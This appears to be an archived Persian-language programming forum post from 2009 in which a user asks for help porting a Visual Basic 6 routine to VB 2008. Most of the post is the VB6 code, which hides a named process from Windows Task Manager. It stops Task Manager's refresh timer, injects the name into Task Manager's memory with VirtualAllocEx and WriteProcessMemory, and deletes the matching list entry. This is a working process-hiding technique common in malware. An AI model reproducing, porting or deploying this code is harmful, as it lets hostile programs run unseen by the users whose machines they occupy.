PDA

View Full Version : کمک برای تبدیل کد



Cybersilent
سه شنبه 21 مهر 1388, 21:51 عصر
سلام خدمت دوستان
من یه سورس توی ویژوال بیسیک 6 داشتم که با اون میتونستم یه پروسه رو از دید کاربر مخفی کنم می خواستم از دوستان کمک بگیرم تا اگه کسی بلده اون کد رو به ویژوال بیسیک 2008 تبدیل کنه خودم سعی کردم اما چندتا از توابع مورد استفاده شده در اون رو ویژوال بیسیک 2008 پشتیبانی نمیکنه (اجرتون با خدا محفوظ است)


Private Type bkh
flag As Long
psz As Long
lParam As Long
pt As Long
vkDirection As Long
End Type
======================================='


Private Sub Hide_Process(Name As String)
Dim pName As Long
Dim pType As Long
Dim l As Long
Dim Tid As Long
Dim hTid As Long
Dim pid As Long
Dim h As Long
Dim i As Long
Dim hProcess As Long
Dim f As bkh
Dim S As String
Dim bkh() As Byte
h = FindWindow(vbNullString, "Windows Task Manager")
KillTimer h, 0
h = FindWindowEx(h, 0, "#32770", vbNullString)
h = FindWindowEx(h, 0, "SysListView32", vbNullString)
If h = 0 Then Exit Sub
f.flag = 8 Or &H20
Call GetWindowThreadProcessId(h, pid)
hProcess = OpenProcess(1082, 0, pid)
bkh = StrConv(Name, vbFromUnicode)
pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4)
WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l
f.psz = pName
pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4)
WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l
i = SendMessage(h, &H1000 + 13, 0, pType)
If i <> -1 Then SendMessage h, &H1000 + 8, i, 0&
VirtualFreeEx hProcess, pType, Len(f), &H8000
VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000
End Sub

توابع API رو دیگه ننوشتم خودتون با دیدن اسمشون دیگه می فهمید